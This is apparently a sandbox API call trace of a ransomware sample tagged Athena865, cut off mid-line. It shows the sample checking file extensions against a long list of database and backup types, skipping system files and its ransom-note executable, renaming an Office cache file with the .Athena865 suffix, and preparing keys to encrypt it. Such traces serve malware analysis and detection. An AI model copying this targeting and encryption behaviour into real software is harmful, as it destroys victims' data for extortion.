lstrlenW (lpString="mfd") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0105.768] lstrlenW (lpString="mpd") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0105.768] lstrlenW (lpString="mrg") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0105.768] lstrlenW (lpString="mud") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0105.768] lstrlenW (lpString="mwb") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0105.768] lstrlenW (lpString="myd") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0105.768] lstrlenW (lpString="ndf") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0105.768] lstrlenW (lpString="nnt") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0105.768] lstrlenW (lpString="nrmlib") returned 6 [0105.768] lstrcmpiW (lpString1="of.cab", lpString2="nrmlib") returned 1 [0105.768] lstrlenW (lpString="ns2") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0105.768] lstrlenW (lpString="ns3") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0105.768] lstrlenW (lpString="ns4") returned 3 [0105.768] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0105.769] lstrlenW (lpString="nsf") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0105.769] lstrlenW (lpString="nv") returned 2 [0105.769] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0105.769] lstrlenW (lpString="nv2") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0105.769] lstrlenW (lpString="nwdb") returned 4 [0105.769] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0105.769] lstrlenW (lpString="nyf") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0105.769] lstrlenW (lpString="odb") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0105.769] lstrlenW (lpString="odb") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0105.769] lstrlenW (lpString="oqy") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0105.769] lstrlenW (lpString="ora") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0105.769] lstrlenW (lpString="orx") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0105.769] lstrlenW (lpString="owc") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0105.769] lstrlenW (lpString="p96") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0105.769] lstrlenW (lpString="p97") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0105.769] lstrlenW (lpString="pan") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0105.769] lstrlenW (lpString="pdb") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0105.769] lstrlenW (lpString="pdm") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0105.769] lstrlenW (lpString="pnz") returned 3 [0105.769] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0105.770] lstrlenW (lpString="qry") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0105.770] lstrlenW (lpString="qvd") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0105.770] lstrlenW (lpString="rbf") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0105.770] lstrlenW (lpString="rctd") returned 4 [0105.770] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0105.770] lstrlenW (lpString="rod") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0105.770] lstrlenW (lpString="rodx") returned 4 [0105.770] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0105.770] lstrlenW (lpString="rpd") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0105.770] lstrlenW (lpString="rsd") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0105.770] lstrlenW (lpString="sas7bdat") returned 8 [0105.770] lstrcmpiW (lpString1="roof.cab", lpString2="sas7bdat") returned -1 [0105.770] lstrlenW (lpString="sbf") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0105.770] lstrlenW (lpString="scx") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0105.770] lstrlenW (lpString="sdb") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0105.770] lstrlenW (lpString="sdc") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0105.770] lstrlenW (lpString="sdf") returned 3 [0105.770] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0105.770] lstrlenW (lpString="sis") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0105.771] lstrlenW (lpString="spq") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0105.771] lstrlenW (lpString="te") returned 2 [0105.771] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0105.771] lstrlenW (lpString="teacher") returned 7 [0105.771] lstrcmpiW (lpString1="oof.cab", lpString2="teacher") returned -1 [0105.771] lstrlenW (lpString="tmd") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0105.771] lstrlenW (lpString="tps") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0105.771] lstrlenW (lpString="trc") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0105.771] lstrlenW (lpString="trc") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0105.771] lstrlenW (lpString="trm") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0105.771] lstrlenW (lpString="udb") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0105.771] lstrlenW (lpString="udl") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0105.771] lstrlenW (lpString="usr") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0105.771] lstrlenW (lpString="v12") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0105.771] lstrlenW (lpString="vis") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0105.771] lstrlenW (lpString="vpd") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0105.771] lstrlenW (lpString="vvv") returned 3 [0105.771] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0105.771] lstrlenW (lpString="wdb") returned 3 [0105.772] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0105.772] lstrlenW (lpString="wmdb") returned 4 [0105.772] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0105.772] lstrlenW (lpString="wrk") returned 3 [0105.772] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0105.772] lstrlenW (lpString="xdb") returned 3 [0105.772] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0105.772] lstrlenW (lpString="xld") returned 3 [0105.772] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0105.772] lstrlenW (lpString="xmlff") returned 5 [0105.772] lstrcmpiW (lpString1="f.cab", lpString2="xmlff") returned -1 [0105.772] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.Athena865") returned 91 [0105.772] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.athena865"), dwFlags=0x1) returned 1 [0105.774] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.774] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21064532) returned 1 [0105.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.774] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.775] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.775] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.775] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1416e60, lpName=0x0) returned 0x154 [0105.777] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1400000, dwNumberOfBytesToMap=0x16e60) returned 0x100000 [0105.784] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0105.870] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0105.887] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.887] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.887] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.888] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0105.889] CloseHandle (hObject=0x154) returned 1 [0105.889] CloseHandle (hObject=0x17c) returned 1 [0105.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.898] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2=".") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="..") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="windows") returned -1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="bootmgr") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="temp") returned -1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="pagefile.sys") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="boot") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="ids.txt") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="ntuser.dat") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="perflogs") returned 1 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2="MSBuild") returned 1 [0105.898] lstrlenW (lpString="Proof.msi") returned 9 [0105.898] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Proof.msi" | out: lpString1="Proof.msi") returned="Proof.msi" [0105.898] lstrlenW (lpString="Proof.msi") returned 9 [0105.898] lstrlenW (lpString="Athena865") returned 9 [0105.898] lstrlenW (lpString=".dll") returned 4 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2=".dll") returned 1 [0105.898] lstrlenW (lpString=".lnk") returned 4 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2=".lnk") returned 1 [0105.898] lstrlenW (lpString=".ini") returned 4 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2=".ini") returned 1 [0105.898] lstrlenW (lpString=".sys") returned 4 [0105.898] lstrcmpiW (lpString1="Proof.msi", lpString2=".sys") returned 1 [0105.898] lstrlenW (lpString="Proof.msi") returned 9 [0105.899] lstrlenW (lpString="bak") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0105.899] lstrlenW (lpString="ba_") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0105.899] lstrlenW (lpString="dbb") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0105.899] lstrlenW (lpString="vmdk") returned 4 [0105.899] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0105.899] lstrlenW (lpString="rar") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0105.899] lstrlenW (lpString="zip") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0105.899] lstrlenW (lpString="tgz") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0105.899] lstrlenW (lpString="vbox") returned 4 [0105.899] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0105.899] lstrlenW (lpString="vdi") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0105.899] lstrlenW (lpString="vhd") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0105.899] lstrlenW (lpString="vhdx") returned 4 [0105.899] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0105.899] lstrlenW (lpString="avhd") returned 4 [0105.899] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0105.899] lstrlenW (lpString="db") returned 2 [0105.899] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0105.899] lstrlenW (lpString="db2") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0105.899] lstrlenW (lpString="db3") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0105.899] lstrlenW (lpString="dbf") returned 3 [0105.899] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0105.899] lstrlenW (lpString="mdf") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0105.900] lstrlenW (lpString="mdb") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0105.900] lstrlenW (lpString="sql") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0105.900] lstrlenW (lpString="sqlite") returned 6 [0105.900] lstrcmpiW (lpString1="of.msi", lpString2="sqlite") returned -1 [0105.900] lstrlenW (lpString="sqlite3") returned 7 [0105.900] lstrcmpiW (lpString1="oof.msi", lpString2="sqlite3") returned -1 [0105.900] lstrlenW (lpString="sqlitedb") returned 8 [0105.900] lstrcmpiW (lpString1="roof.msi", lpString2="sqlitedb") returned -1 [0105.900] lstrlenW (lpString="xml") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0105.900] lstrlenW (lpString="$er") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0105.900] lstrlenW (lpString="4dd") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0105.900] lstrlenW (lpString="4dl") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0105.900] lstrlenW (lpString="^^^") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0105.900] lstrlenW (lpString="abs") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0105.900] lstrlenW (lpString="abx") returned 3 [0105.900] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0105.900] lstrlenW (lpString="accdb") returned 5 [0105.900] lstrcmpiW (lpString1="f.msi", lpString2="accdb") returned 1 [0105.900] lstrlenW (lpString="accdc") returned 5 [0105.900] lstrcmpiW (lpString1="f.msi", lpString2="accdc") returned 1 [0105.900] lstrlenW (lpString="accde") returned 5 [0105.900] lstrcmpiW (lpString1="f.msi", lpString2="accde") returned 1 [0105.900] lstrlenW (lpString="accdr") returned 5 [0105.900] lstrcmpiW (lpString1="f.msi", lpString2="accdr") returned 1 [0105.900] lstrlenW (lpString="accdt") returned 5 [0105.901] lstrcmpiW (lpString1="f.msi", lpString2="accdt") returned 1 [0105.901] lstrlenW (lpString="accdw") returned 5 [0105.901] lstrcmpiW (lpString1="f.msi", lpString2="accdw") returned 1 [0105.901] lstrlenW (lpString="accft") returned 5 [0105.901] lstrcmpiW (lpString1="f.msi", lpString2="accft") returned 1 [0105.901] lstrlenW (lpString="adb") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0105.901] lstrlenW (lpString="adb") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0105.901] lstrlenW (lpString="ade") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0105.901] lstrlenW (lpString="adf") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0105.901] lstrlenW (lpString="adn") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0105.901] lstrlenW (lpString="adp") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0105.901] lstrlenW (lpString="alf") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0105.901] lstrlenW (lpString="ask") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0105.901] lstrlenW (lpString="btr") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0105.901] lstrlenW (lpString="cat") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0105.901] lstrlenW (lpString="cdb") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0105.901] lstrlenW (lpString="ckp") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0105.901] lstrlenW (lpString="cma") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0105.901] lstrlenW (lpString="cpd") returned 3 [0105.901] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0105.902] lstrlenW (lpString="dacpac") returned 6 [0105.902] lstrcmpiW (lpString1="of.msi", lpString2="dacpac") returned 1 [0105.902] lstrlenW (lpString="dad") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0105.902] lstrlenW (lpString="dadiagrams") returned 10 [0105.902] lstrlenW (lpString="daschema") returned 8 [0105.902] lstrcmpiW (lpString1="roof.msi", lpString2="daschema") returned 1 [0105.902] lstrlenW (lpString="db-journal") returned 10 [0105.902] lstrlenW (lpString="db-shm") returned 6 [0105.902] lstrcmpiW (lpString1="of.msi", lpString2="db-shm") returned 1 [0105.902] lstrlenW (lpString="db-wal") returned 6 [0105.902] lstrcmpiW (lpString1="of.msi", lpString2="db-wal") returned 1 [0105.902] lstrlenW (lpString="dbc") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0105.902] lstrlenW (lpString="dbs") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0105.902] lstrlenW (lpString="dbt") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0105.902] lstrlenW (lpString="dbv") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0105.902] lstrlenW (lpString="dbx") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0105.902] lstrlenW (lpString="dcb") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0105.902] lstrlenW (lpString="dct") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0105.902] lstrlenW (lpString="dcx") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0105.902] lstrlenW (lpString="ddl") returned 3 [0105.902] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0105.902] lstrlenW (lpString="dlis") returned 4 [0105.902] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0105.903] lstrlenW (lpString="dp1") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0105.903] lstrlenW (lpString="dqy") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0105.903] lstrlenW (lpString="dsk") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0105.903] lstrlenW (lpString="dsn") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0105.903] lstrlenW (lpString="dtsx") returned 4 [0105.903] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0105.903] lstrlenW (lpString="dxl") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0105.903] lstrlenW (lpString="eco") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0105.903] lstrlenW (lpString="ecx") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0105.903] lstrlenW (lpString="edb") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0105.903] lstrlenW (lpString="epim") returned 4 [0105.903] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0105.903] lstrlenW (lpString="fcd") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0105.903] lstrlenW (lpString="fdb") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0105.903] lstrlenW (lpString="fic") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0105.903] lstrlenW (lpString="flexolibrary") returned 12 [0105.903] lstrlenW (lpString="fm5") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0105.903] lstrlenW (lpString="fmp") returned 3 [0105.903] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0105.903] lstrlenW (lpString="fmp12") returned 5 [0105.904] lstrcmpiW (lpString1="f.msi", lpString2="fmp12") returned -1 [0105.904] lstrlenW (lpString="fmpsl") returned 5 [0105.904] lstrcmpiW (lpString1="f.msi", lpString2="fmpsl") returned -1 [0105.904] lstrlenW (lpString="fol") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0105.904] lstrlenW (lpString="fp3") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0105.904] lstrlenW (lpString="fp4") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0105.904] lstrlenW (lpString="fp5") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0105.904] lstrlenW (lpString="fp7") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0105.904] lstrlenW (lpString="fpt") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0105.904] lstrlenW (lpString="frm") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0105.904] lstrlenW (lpString="gdb") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0105.904] lstrlenW (lpString="gdb") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0105.904] lstrlenW (lpString="grdb") returned 4 [0105.904] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0105.904] lstrlenW (lpString="gwi") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0105.904] lstrlenW (lpString="hdb") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0105.904] lstrlenW (lpString="his") returned 3 [0105.904] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0105.904] lstrlenW (lpString="ib") returned 2 [0105.904] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0105.905] lstrlenW (lpString="idb") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0105.905] lstrlenW (lpString="ihx") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0105.905] lstrlenW (lpString="itdb") returned 4 [0105.905] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0105.905] lstrlenW (lpString="itw") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0105.905] lstrlenW (lpString="jet") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0105.905] lstrlenW (lpString="jtx") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0105.905] lstrlenW (lpString="kdb") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0105.905] lstrlenW (lpString="kexi") returned 4 [0105.905] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0105.905] lstrlenW (lpString="kexic") returned 5 [0105.905] lstrcmpiW (lpString1="f.msi", lpString2="kexic") returned -1 [0105.905] lstrlenW (lpString="kexis") returned 5 [0105.905] lstrcmpiW (lpString1="f.msi", lpString2="kexis") returned -1 [0105.905] lstrlenW (lpString="lgc") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0105.905] lstrlenW (lpString="lwx") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0105.905] lstrlenW (lpString="maf") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0105.905] lstrlenW (lpString="maq") returned 3 [0105.905] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0105.905] lstrlenW (lpString="mar") returned 3 [0105.905] 